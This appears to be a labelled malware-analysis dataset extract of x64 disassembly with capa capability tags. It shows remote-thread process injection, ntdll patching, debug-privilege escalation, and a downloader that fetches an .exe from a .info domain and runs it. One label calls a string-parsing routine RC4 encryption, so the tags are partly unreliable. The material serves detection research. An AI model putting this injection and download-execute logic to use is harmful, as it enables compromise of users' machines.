joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401793
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov ecx, dword [rbp + 0x10]
call fcn.00401671
mov qword [rbp - 8], rax
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x4017fd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_allocating_memory_in_process:__ld__n
call fcn.0040156c
mov r9d, dword [rbp + 0x20]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x401832
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp - 0x18]
cmp rdx, rax
je 0x401849
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_writing_data_to_process:__ld_n
call fcn.0040156c
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
add rsp, 0x50
pop rbp
ret

Function at 0x4018c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CsrClientCallServer
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401909
mov eax, 0xffffffff
jmp 0x4019c0
mov byte [rbp - 0x10], 0x33
mov byte [rbp - 0xf], 0xc0
mov byte [rbp - 0xe], 0x89
mov byte [rbp - 0xd], 0x41
mov byte [rbp - 0xc], 0x34
mov byte [rbp - 0xb], 0xc3
lea rdx, [rbp - 0x14]
mov rax, qword [rbp - 8]
mov r9, rdx
mov r8d, 0x40
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x4019bb
cmp dword [rbp + 0x10], 0
jne 0x401979
mov rax, qword [rbp - 8]
mov r8d, 6
mov rdx, rax
lea rcx, [0x0040b060]
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 8]
mov edx, dword [rbp - 0x10]
mov dword [rax], edx
movzx edx, word [rbp - 0xc]
mov word [rax + 4], dx
jmp 0x401992
mov rax, qword [rbp - 8]
mov r8d, 6
lea rdx, [0x0040b060]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x14]
lea rcx, [rbp - 0x14]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, edx
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, 0
jmp 0x4019c0
mov eax, 0xffffffff
add rsp, 0x40
pop rbp
ret
Function at 0x4019c6
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov ecx, dword [rbp + 0x10]
call fcn.00401671
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 0xc], eax
cmp qword [rbp - 8], 0
jne 0x401a9e
cmp dword [rbp - 0xc], 8
jne 0x401a9e
mov ecx, 0
call fcn.004018c6
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 0xc], eax
mov ecx, 1
call fcn.004018c6
cmp qword [rbp - 8], 0
jne 0x401ab6
mov eax, dword [rbp - 0xc]
mov edx, eax
lea rcx, str.____Error_injecting_remote_thread_in_process:__d_n
call fcn.0040156c
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x1c]
add rsp, 0x60
pop rbp
ret

Function at 0x40222c
Capabilities:
Resume thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov ecx, dword [rbp + 0x10]
call fcn.004016bf
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x40226a
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov ecx, dword [rbp + 0x10]
call fcn.00401671
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 0xf01ff
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
jne 0x4022b8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_obtaining_process_token:__ld_n
call fcn.0040156c
lea rax, [rbp - 0x20]
mov r8, rax
lea rdx, str.SeDebugPrivilege
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call rax
test eax, eax
jne 0x4022ef
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_obtaining_original_luid:__ld_n
call fcn.0040156c
mov dword [rbp - 0x30], 1
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], 2
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call rax
test eax, eax
jne 0x402354
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_adjusting_token_privileges:__ld_n
call fcn.0040156c
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x40237b
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], rcx
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
jne 0x4023c9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_obtaining_snapshot_handle:__ld_n
call fcn.0040156c
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x4023fe
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Error_enumerating_the_first_process:__ld_n
call fcn.0040156c
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x402431
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x402473
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4023fe
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp + 0x1f0]
lea rcx, str.____Error_finding_process_by_name:__S_n
call fcn.0040156c
mov eax, 0
add rsp, 0x260
pop rbp
ret
Function at 0x404200
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
movsxd rbp, dword [0x0044bac4]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x4043e0
mov rax, qword [0x0044bac8]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x404250
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x404391
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x404234
mov rcx, rbx
call fcn.00404ef0
test rax, rax
mov r12, rax
je 0x404404
lea rbp, [rbp + rbp*2]
lea r14, [rsp + 0x30]
shl rbp, 3
mov r13, rbp
add r13, qword [0x0044bac8]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.00405010
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov rdx, r14
mov qword [r13 + 8], rax
mov rax, qword [0x0044bac8]
mov r13, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + rbp + 8]
call r13
test rax, rax
je 0x4043e7
mov eax, dword [rsp + 0x54]
cmp eax, 4
je 0x4042e0
cmp eax, 0x40
jne 0x4043a2
add dword [0x0044bac4], 1
mov r8d, 0x30
mov rdx, r14
mov rcx, rbx
call r13
test rax, rax
je 0x404413
mov eax, dword [rsp + 0x54]
cmp eax, 4
je 0x40430d
cmp eax, 0x40
jne 0x404330
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_memcpy
lea r12, [rsp + 0x2c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r12
call rbp
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x54]
cmp eax, 0x40
je 0x404382
cmp eax, 4
je 0x404382
mov r9, r12
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call rbp
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
lea r14, [rsp + 0x30]
mov r13, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x4042e7
mov r9, rbp
add r9, qword [0x0044bac8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4042e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00404190
nop
xor ebp, ebp
jmp 0x40425d
mov rax, qword [0x0044bac8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.00404190
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00404190
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.00404190
nop
nop dword [rax + rax]
Function at 0x404b90
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0044bde0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0044bdc0]
test rbx, rbx
je 0x404be4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x404bdb
test rsi, rsi
je 0x404bdb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x404bc0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x0044bde0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x404e00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x404e41
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x404e38
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x404e43
add rax, 0x28
cmp rax, r9
jne 0x404e24
xor eax, eax
repz ret

Function at 0x404ef0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00408040]
cmp word [rbx], 0x5a4d
je 0x404f10
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.00404dc0
test eax, eax
je 0x404f04
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.00404e00
Function at 0x4051a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rdx, rdx
mov rbx, rcx
mov r12, rdx
mov edi, r8d
je 0x4051c2
mov qword [r12], rcx
cmp edi, 0x24
ja 0x4052b3
cmp edi, 1
jne 0x4051d9
jmp 0x4052b3
add rbx, 2
movzx ecx, word [rbx]
mov edx, 8
call sub.msvcrt.dll_iswctype
test eax, eax
jne 0x4051d5
movzx r14d, word [rbx]
mov r15, rbx
lea eax, [r14 - 0x2b]
movzx ecx, r14w
test ax, 0xfffd
jne 0x405207
movzx ecx, word [rbx + 2]
add r15, 2
test edi, edi
jne 0x405325
cmp cx, 0x30
mov dil, 0xa
je 0x405390
mov edx, 4
call sub.msvcrt.dll_iswctype
test eax, eax
je 0x4053c0
movzx ebx, word [r15]
sub ebx, 0x30
cmp edi, ebx
jle 0x4053b0
mov eax, ebx
shr eax, 0x1f
test al, al
jne 0x4053b0
add r15, 2
movsxd rbx, ebx
xor r13d, r13d
movsxd rsi, edi
mov rbp, 0xffffffffffffffff
jmp 0x405279
mov rax, rbx
movsxd rcx, ecx
imul rax, rsi
add rcx, rax
cmp rbx, rcx
ja 0x4052ab
mov rbx, rcx
add r15, 2
movzx ecx, word [r15]
mov edx, 4
call sub.msvcrt.dll_iswctype
test eax, eax
movzx ecx, word [r15]
je 0x4052d1
sub ecx, 0x30
cmp edi, ecx
jle 0x4052fe
test ecx, ecx
js 0x4052fe
xor edx, edx
mov rax, rbp
div rsi
add rax, 1
cmp rbx, rax
jbe 0x405260
mov r13d, 1
jmp 0x405275
call sub.msvcrt.dll__errno
mov dword [rax], 0x21
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov edx, 1
call sub.msvcrt.dll_iswctype
test eax, eax
movzx ecx, word [r15]
je 0x4052f0
sub ecx, 0x37
jmp 0x405292
mov edx, 2
call sub.msvcrt.dll_iswctype
test eax, eax
jne 0x405360
test r12, r12
je 0x405307
mov qword [r12], r15
test r13d, r13d
jne 0x405370
xor edx, edx
cmp r14w, 0x2d
sete dl
mov rax, rdx
neg rax
xor rbx, rax
lea rax, [rbx + rdx]
jmp 0x4052c0
cmp edi, 0x10
jne 0x40521c
cmp cx, 0x30
jne 0x40521c
movzx eax, word [r15 + 2]
and eax, 0xffffffdf
cmp ax, 0x58
jne 0x40521c
movzx ecx, word [r15 + 4]
mov edi, 0x10
add r15, 4
jmp 0x40521c
movzx ecx, word [r15]
sub ecx, 0x57
jmp 0x405292
call sub.msvcrt.dll__errno
mov dword [rax], 0x22
mov rax, 0xffffffffffffffff
jmp 0x4052c0
movzx eax, word [r15 + 2]
mov dil, 8
and eax, 0xffffffdf
cmp ax, 0x58
jne 0x40521c
jmp 0x40534a
xor eax, eax
jmp 0x4052c0
movzx ecx, word [r15]
mov edx, 1
call sub.msvcrt.dll_iswctype
test eax, eax
je 0x4053de
movzx ebx, word [r15]
sub ebx, 0x37
jmp 0x405235
movzx ecx, word [r15]
mov edx, 2
call sub.msvcrt.dll_iswctype
test eax, eax
je 0x4053b0
movzx ebx, word [r15]
sub ebx, 0x57
jmp 0x405235
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x4014c9
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.567023299
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d6_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintOid
lea rax, [0x004020ac]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020c9]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, [0x004020cb]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020e8]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x4014c9
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.567023299
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d6_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintOid
lea rax, [0x004020ac]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020c9]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, [0x004020cb]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020e8]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x4012a0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x148
mov rax, qword [0x00406730]
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, str.VXDIF.DLL
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov qword [0x00406ee8], rax
jne 0x401302
lea r8, str.ApntEx.exe
lea rdx, str.Failed_to_load_vxdif.dll._Alps_Pointing_device_application_has_stopped.
jmp 0x4013b6
lea rdx, str.Alps_ApcGetData
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x00406ee8]
lea rdx, str.Alps_ApcCreateEvent
mov qword [0x00406ee0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x00406ee8]
lea rdx, str.Alps_ApcDeleteEvent
mov qword [0x00406e38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x00406ee8]
lea rdx, str.Alps_ApcSetUserModeEvent
mov qword [0x00406e28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x00406ee0], 0
mov qword [0x00406e30], rax
je 0x4013ac
cmp qword [0x00406e38], 0
je 0x4013ac
cmp qword [0x00406e28], 0
je 0x4013ac
test rax, rax
je 0x4013ac
movabs rax, 1
mov rcx, qword [rsp + 0x130]
call fcn.00403180
add rsp, 0x148
ret
xor r8d, r8d
lea rdx, str.API_could_not_be_loaded
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x130]
call fcn.00403180
add rsp, 0x148
ret